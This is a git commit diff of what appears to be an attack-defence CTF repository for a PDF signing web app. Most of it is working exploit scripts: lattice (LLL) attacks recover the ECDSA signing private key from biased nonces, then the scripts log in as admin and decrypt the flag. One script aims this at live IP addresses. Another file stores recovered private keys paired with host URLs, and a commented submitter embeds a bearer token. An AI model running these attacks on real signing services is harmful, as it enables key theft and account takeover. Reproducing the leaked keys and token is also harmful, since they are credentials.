Initial commit
This commit is contained in:
@@ -0,0 +1 @@
|
||||
__pycache__/
|
||||
Binary file not shown.
@@ -0,0 +1,79 @@
|
||||
from src.module.decdsa import *
|
||||
import random
|
||||
import hashlib
|
||||
from sage.all import matrix, Integer, Zmod, vector
|
||||
from ecdsa import NIST256p
|
||||
curve = NIST256p
|
||||
order = int(curve.order)
|
||||
|
||||
def case1():
|
||||
ecdsa = DECDSA()
|
||||
inc = 0
|
||||
for i in range(100):
|
||||
temp = random.randbytes(10)
|
||||
signature = ecdsa.sign(temp)
|
||||
hasil = ecdsa.verify(temp+b'1', signature)
|
||||
if(not hasil):
|
||||
inc += 1
|
||||
print("Different message Failed:",inc)
|
||||
# checking true
|
||||
inc = 0
|
||||
for i in range(100):
|
||||
temp = random.randbytes(10)
|
||||
signature = ecdsa.sign(temp)
|
||||
hasil = ecdsa.verify(temp, signature)
|
||||
if(not hasil):
|
||||
inc += 1
|
||||
print("Same message Failed:",inc)
|
||||
|
||||
# def Babai_closest_vector(B, target):
|
||||
# # Babai's Nearest Plane algorithm
|
||||
# M = B.LLL()
|
||||
# G = M.gram_schmidt()[0]
|
||||
# small = target
|
||||
# for _ in range(1):
|
||||
# for i in reversed(range(M.nrows())):
|
||||
# c = ((small * G[i]) / (G[i] * G[i])).round()
|
||||
# small -= M[i] * c
|
||||
# return target - small
|
||||
|
||||
def case2():
|
||||
ecdsa = ECDSA()
|
||||
dataset = []
|
||||
inc = 80
|
||||
for i in range(inc):
|
||||
temp = random.randbytes(10)
|
||||
signature = ecdsa.sign(temp)
|
||||
r1, r2, s = ecdsa.bytes_to_sign(signature)
|
||||
message = temp
|
||||
m1, m2 = message[:len(message)//2], message[len(message)//2:]
|
||||
h1 = hashlib.sha256(m1).digest()
|
||||
h2 = hashlib.sha256(m2).digest()
|
||||
z1 = int.from_bytes(h1, byteorder='big') % order
|
||||
z2 = int.from_bytes(h2, byteorder='big') % order
|
||||
dataset.append([temp, z1, z2, r1, r2, s])
|
||||
|
||||
# B = 2**247
|
||||
B = 2**201
|
||||
p = order
|
||||
Zn = Zmod(p)
|
||||
|
||||
m = [[order,0] + [-Integer((pow(dataset[i-1][5], -1, order)*(dataset[i-1][1]+dataset[i-1][2])-pow(dataset[i][5], -1, order)*(dataset[i][1]+dataset[i][2]))%order) for i in range(1, inc)]]
|
||||
m += [[0,Integer(B)/order] + [Integer((pow(dataset[i-1][5], -1, order)*(dataset[i-1][3]+dataset[i-1][4])-pow(dataset[i][5], -1, order)*(dataset[i][3]+dataset[i][4]))%order) for i in range(1, inc)]]
|
||||
inc -= 1
|
||||
m += [[0,0]+[0]*i+[order]+[0]*(inc-i-1) for i in range(inc)]
|
||||
|
||||
Mat = matrix(m)
|
||||
# W = Babai_closest_vector(Mat, Y)
|
||||
# x = W[1] * (p-1) / 2
|
||||
# print(x)
|
||||
for line in Mat.LLL():
|
||||
if(line[0]==order):
|
||||
key = Zn(line[1]*p/B)
|
||||
print(order-key, int(order).bit_length())
|
||||
# is_valid = ecdsa.verify(temp, signature)
|
||||
|
||||
if __name__ == "__main__":
|
||||
# case1()
|
||||
case2()
|
||||
|
||||
@@ -0,0 +1,5 @@
|
||||
http://47.129.153.66:11000;def42af0e89557cd4b2690247e3ff955e13fd8174528bc3c9a699504f0ca1dda
|
||||
http://54.255.201.188:11000;90fc873d2fb07fe599baeee55508c3b20f66223017353eb1a865cf92eccfee3a
|
||||
http://47.128.224.208:11000;f5c9af45ff61f8439912ad5d6d38a0cc5a0b1d9b2a9080c3bd92e4e440662643
|
||||
http://13.250.57.255:11000;94fe205db665f90c5f47640e62f0f47765e56d9c2f48ce4a46a0b2cb845b2d66
|
||||
http://47.129.120.12:11000;fd735f52fc4dbf641bc0392cd6834e09c9da76d917ca69d7c90e1ef4cf6ebb3e
|
||||
@@ -0,0 +1,50 @@
|
||||
import requests
|
||||
from io import BytesIO
|
||||
from src.module import *
|
||||
port = 5111
|
||||
|
||||
sess = requests.Session()
|
||||
# Checking C1: Login as user
|
||||
url = f'http://localhost:{port}/login'
|
||||
data = {'username': "user", "password": "user"}
|
||||
r = sess.post(url, data=data, timeout=5)
|
||||
assert 'Welcome to PDF Signature App'.lower() in r.text.lower(), 'Cannot login as user'
|
||||
|
||||
# print(len(pdfbytes))
|
||||
|
||||
PRIVATE_KEY="fc901109936ed47102fb4b6df75b2058421dfde75d8e0357f92713aace97fdf0"
|
||||
|
||||
# Checking C2: Sign as user
|
||||
sign_url = f'http://localhost:{port}/sign'
|
||||
pdfbytes = open("hello_docs.pdf","rb").read()
|
||||
sendata = ('main.pdf', pdfbytes, 'application/pdf')
|
||||
filedata = {'file': sendata}
|
||||
r = sess.post(sign_url, files=filedata, timeout=5)
|
||||
print(r.headers['Content-Type'])
|
||||
signed_pdf = r.content
|
||||
signed_pdf_stream = BytesIO(signed_pdf)
|
||||
print(verify_signature(signed_pdf_stream, PRIVATE_KEY))
|
||||
|
||||
pdf_bytes_stream = BytesIO(pdfbytes)
|
||||
signed_pdf_stream = sign_pdf(pdf_bytes_stream, PRIVATE_KEY)
|
||||
verify_url = f'http://localhost:{port}/verify'
|
||||
sendata = ('main_signed.pdf', signed_pdf_stream, 'application/pdf')
|
||||
filedata = {'file': sendata}
|
||||
r = sess.post(verify_url, files=filedata, timeout=5)
|
||||
print('The signature is valid' in r.text)
|
||||
|
||||
verify_url = f'http://localhost:{port}/verify'
|
||||
sendata = ('main_signed.pdf', pdfbytes, 'application/pdf')
|
||||
filedata = {'file': sendata}
|
||||
r = sess.post(verify_url, files=filedata, timeout=5)
|
||||
# print(r.text)
|
||||
print('The signature is invalid' in r.text)
|
||||
|
||||
url = f'http://localhost:{port}/login'
|
||||
data = {'username': "admin", "password": f'{PRIVATE_KEY}'}
|
||||
r = sess.post(url, data=data, timeout=5)
|
||||
assert 'Welcome to PDF Signature App'.lower() in r.text.lower(), 'Cannot login as admin'
|
||||
url = f'http://localhost:{port}/admin_panel'
|
||||
r = sess.get(url, timeout=5)
|
||||
enc_flag = r.text.split('encrypted flag: ')[1].split('</p>')[0]
|
||||
print(decryptMessage(enc_flag, PRIVATE_KEY))
|
||||
@@ -0,0 +1,165 @@
|
||||
import requests
|
||||
import sys
|
||||
import os
|
||||
import hashlib
|
||||
from sage.all import matrix, Integer, Zmod, vector
|
||||
# Add the parent directory to sys.path
|
||||
parent_dir = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))
|
||||
sys.path.insert(0, parent_dir)
|
||||
from src.module import *
|
||||
from reportlab.lib.pagesizes import letter
|
||||
from reportlab.pdfgen import canvas
|
||||
import io
|
||||
import PyPDF2
|
||||
from src.module.decdsa import *
|
||||
from ecdsa import NIST256p
|
||||
curve = NIST256p
|
||||
order = int(curve.order)
|
||||
|
||||
# checking Login
|
||||
def login(userData, url):
|
||||
sess = requests.Session()
|
||||
r = sess.post(url+'/login', data=userData, timeout=5)
|
||||
assert 'Welcome to'.lower() in r.text.lower()
|
||||
return sess
|
||||
|
||||
# sending pdf
|
||||
def sendPdf(session, pdfbytes, url):
|
||||
sendata = ('main.pdf', pdfbytes, 'application/pdf')
|
||||
filedata = {'file': sendata}
|
||||
r = session.post(url+'/sign', files=filedata, timeout=5)
|
||||
signed_pdf = r.content
|
||||
signed_pdf_stream = io.BytesIO(signed_pdf)
|
||||
return signed_pdf_stream
|
||||
|
||||
def getFlag(session, private, url):
|
||||
r = session.get(url+'/admin_panel', timeout=5)
|
||||
enc_flag = r.text.split("encrypted flag: ")[1].split("</p>")[0]
|
||||
return decryptMessage(enc_flag, private)
|
||||
|
||||
# create pdf
|
||||
def create_pdf_bytes(text):
|
||||
buffer = io.BytesIO()
|
||||
c = canvas.Canvas(buffer, pagesize=letter)
|
||||
c.setTitle("Simple PDF")
|
||||
c.drawString(100, 750, text)
|
||||
c.showPage()
|
||||
c.save()
|
||||
pdf_bytes = buffer.getvalue()
|
||||
buffer.close()
|
||||
return pdf_bytes
|
||||
|
||||
# extract signature and data
|
||||
def extractPdf(pdfbytes):
|
||||
pdf_reader = PyPDF2.PdfReader(pdfbytes)
|
||||
signature_text = pdf_reader.metadata.get('/Signature', '')
|
||||
signature = bytes.fromhex(signature_text)
|
||||
pdf_data = io.BytesIO()
|
||||
pdf_writer = PyPDF2.PdfWriter()
|
||||
for page in pdf_reader.pages:
|
||||
pdf_writer.add_page(page)
|
||||
|
||||
pdf_writer.write(pdf_data)
|
||||
pdf_data.seek(0)
|
||||
pdf_content = pdf_data.read()
|
||||
return pdf_content,signature
|
||||
|
||||
# make an dataset signature
|
||||
def createDataset(session, inc, url):
|
||||
ecdsa = DECDSA("ababab")
|
||||
dataset = []
|
||||
for i in range(inc):
|
||||
temp = str(random.getrandbits(512))
|
||||
pdfbytes = create_pdf_bytes(temp)
|
||||
signedData = sendPdf(session, pdfbytes, url)
|
||||
content, sign = extractPdf(signedData)
|
||||
r1, r2, s = ecdsa.bytes_to_sign(sign)
|
||||
message = content
|
||||
m1, m2 = message[:len(message)//2], message[len(message)//2:]
|
||||
h1 = hashlib.sha256(m1).hexdigest()[2:]
|
||||
h2 = hashlib.sha256(m2).hexdigest()[2:]
|
||||
z1 = int(h1, 16) % order
|
||||
z2 = int(h2, 16) % order
|
||||
dataset.append([temp, z1, z2, r1, r2, s])
|
||||
return dataset
|
||||
|
||||
# attack
|
||||
def biasedNonce(dataset, inc):
|
||||
B = 2**251
|
||||
p = order
|
||||
Zn = Zmod(p)
|
||||
|
||||
m = [[order,0] + [-Integer((pow(dataset[i-1][5], -1, order)*(dataset[i-1][1]+dataset[i-1][2])-pow(dataset[i][5], -1, order)*(dataset[i][1]+dataset[i][2]))%order) for i in range(1, inc)]]
|
||||
m += [[0,Integer(B)/order] + [Integer((pow(dataset[i-1][5], -1, order)*(dataset[i-1][3]+dataset[i-1][4])-pow(dataset[i][5], -1, order)*(dataset[i][3]+dataset[i][4]))%order) for i in range(1, inc)]]
|
||||
inc -= 1
|
||||
m += [[0,0]+[0]*i+[order]+[0]*(inc-i-1) for i in range(inc)]
|
||||
|
||||
Mat = matrix(m)
|
||||
for line in Mat.LLL():
|
||||
if(line[0]==order):
|
||||
key = Zn(line[1]*p/B)
|
||||
return order-key
|
||||
|
||||
def main(url):
|
||||
try:
|
||||
userData = {'username': "user", "password": "user"}
|
||||
session = login(userData, url)
|
||||
inc = 70
|
||||
dataset = createDataset(session, inc, url)
|
||||
print("success generate dataset:",len(dataset))
|
||||
private = hex(int(biasedNonce(dataset, inc)))[2:]
|
||||
adminData = {'username': "admin", "password": private}
|
||||
session = login(adminData, url)
|
||||
flag = getFlag(session, private, url)
|
||||
return flag, private
|
||||
except:
|
||||
return None, None
|
||||
|
||||
for i in range(100):
|
||||
flag, private = main('http://54.179.25.137:11000/')
|
||||
print(flag)
|
||||
|
||||
# listu = [
|
||||
# "http://47.129.153.66:11000",
|
||||
# "http://54.255.201.188:11000",
|
||||
# "http://47.128.224.208:11000",
|
||||
# "http://13.250.57.255:11000",
|
||||
# "http://47.129.120.12:11000",
|
||||
# "http://52.77.232.211:11000",
|
||||
# "http://13.212.110.53:11000",
|
||||
# "http://54.254.138.70:11000",
|
||||
# "http://54.255.228.54:11000",
|
||||
# "http://13.212.239.67:11000"
|
||||
# ]
|
||||
|
||||
# import json
|
||||
|
||||
# def submitFlag(flag):
|
||||
# url = 'http://159.223.57.92:5000/api/flag'
|
||||
# token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcyMzgxOTU5NCwianRpIjoiNTVkYzM0MjQtNzFhNy00OTU3LWFhNTItYzQyZTE4NTgzMzAxIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6eyJ1c2VybmFtZSI6InNlaGFkIn0sIm5iZiI6MTcyMzgxOTU5NCwiY3NyZiI6IjYxMjVkMWI2LTgwYTgtNDEwOC1hNjgyLTY1ZmMwMzQ5NTcwMSIsImV4cCI6MTcyMzkwNTk5NH0.r6vJbs8uxD46PSO-1tJm-zhmcDq1lk_mWQW7dICQEfU'
|
||||
# headers = {
|
||||
# 'Authorization': f'Bearer {token}',
|
||||
# 'Content-Type': 'application/json'
|
||||
# }
|
||||
# data = { 'flag': flag }
|
||||
# response = requests.post(url, headers=headers, data=json.dumps(data))
|
||||
# return response.json()
|
||||
|
||||
# with open("privss.db","wb") as f:
|
||||
# for url in listu:
|
||||
# flag, private = main(url)
|
||||
# f.write(url.encode()+b";"+private.encode()+b"\n")
|
||||
# print("get url:",url, "flag:" ,flag)
|
||||
|
||||
# with open("privss.db","rb") as f:
|
||||
# privates = f.readlines()
|
||||
# for line in privates:
|
||||
# try:
|
||||
# url = line.decode().strip().split(";")[0]
|
||||
# privkey = line.decode().strip().split(";")[1]
|
||||
# adminData = {'username': "admin", "password": privkey}
|
||||
# session = login(adminData, url)
|
||||
# flag = getFlag(session, privkey, url)
|
||||
# print("url:",url,submitFlag(flag))
|
||||
# except:
|
||||
# print("url:",url,"is down")
|
||||
@@ -0,0 +1,78 @@
|
||||
import requests
|
||||
import sys
|
||||
import os
|
||||
import hashlib
|
||||
from sage.all import matrix, Integer, Zmod, vector
|
||||
# Add the parent directory to sys.path
|
||||
parent_dir = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))
|
||||
sys.path.insert(0, parent_dir)
|
||||
from src.module import *
|
||||
|
||||
private = "98388cb816ac994e5c19fd0168618f5e2e55ea2b526cf0c2bdce569235e92ead"
|
||||
|
||||
# This will be the base dont change it
|
||||
q = 135589091449528481388008471290289910812753186702167314685052586130282290721619
|
||||
p = 271178182899056962776016942580579821625506373404334629370105172260564581443239
|
||||
g = pow(2, (p-1)//p, p)
|
||||
|
||||
# checking Login
|
||||
def login(userData, url):
|
||||
sess = requests.Session()
|
||||
r = sess.post(url+'/login', data=userData, timeout=5)
|
||||
assert 'Welcome to'.lower() in r.text.lower()
|
||||
return sess
|
||||
|
||||
def getEncFlag(session, private, url):
|
||||
r = session.get(url+'/admin_panel', timeout=5)
|
||||
enc_flag = r.text.split("encrypted flag: ")[1].split("</p>")[0]
|
||||
return enc_flag
|
||||
|
||||
def parseSignEnc(enc):
|
||||
cps = bytes.fromhex(enc)
|
||||
y = bytes_to_long(cps[-128:-96].lstrip(b'0'))
|
||||
dig = bytes_to_long(cps[-96:-64].lstrip(b'0'))
|
||||
r = bytes_to_long(cps[-64:-32].lstrip(b'0'))
|
||||
s = bytes_to_long(cps[-32:].lstrip(b'0'))
|
||||
return y, dig, r, s
|
||||
|
||||
def createDataSet(inc, session, url):
|
||||
dataset = []
|
||||
for i in range(inc):
|
||||
enc_flag = getEncFlag(session, private, url)
|
||||
dataset.append(parseSignEnc(enc_flag))
|
||||
return dataset
|
||||
|
||||
def attackHNP(dataset):
|
||||
ln = len(dataset)
|
||||
X = 2**216
|
||||
m = [[0]*i+[q]+[0]*(ln-i-1)+[0,0] for i in range(ln)]
|
||||
m += [[(dataset[i][2]*pow(dataset[i][3], -1, q))%q for i in range(ln)] + [Integer(X)/q, 0]]
|
||||
m += [[(dataset[i][1]*pow(dataset[i][3], -1, q))%q for i in range(ln)] + [0, q]]
|
||||
Mat = matrix(m)
|
||||
Zq = Zmod(q)
|
||||
|
||||
Zp = Zmod(p)
|
||||
for ks in Mat.LLL().rows():
|
||||
if int(ks[0])%q!=0 and dataset[0][2] == Zq(Zp(g) ** int(ks[0])):
|
||||
pot = int(ks[0])%q
|
||||
x = (((dataset[0][3]*pot) - dataset[0][1]) * pow(dataset[0][2], -1, q))%q
|
||||
if(pot.bit_length()<216):
|
||||
print("FoundX:",x)
|
||||
print("FoundX:",ks[0])
|
||||
return x
|
||||
# return x
|
||||
return 0
|
||||
|
||||
def main(url):
|
||||
private = "98388cb816ac994e5c19fd0168618f5e2e55ea2b526cf0c2bdce569235e92ead"
|
||||
print("Target:", int(private, 16))
|
||||
userData = {'username': "admin", "password": private}
|
||||
session = login(userData, url)
|
||||
dataset = createDataSet(7 ,session, url)
|
||||
if(int(private, 16)) == attackHNP(dataset):
|
||||
return 0
|
||||
return 1
|
||||
|
||||
while True:
|
||||
te = main('http://localhost:5111')
|
||||
if te==0: break
|
||||
Reference in New Issue
Block a user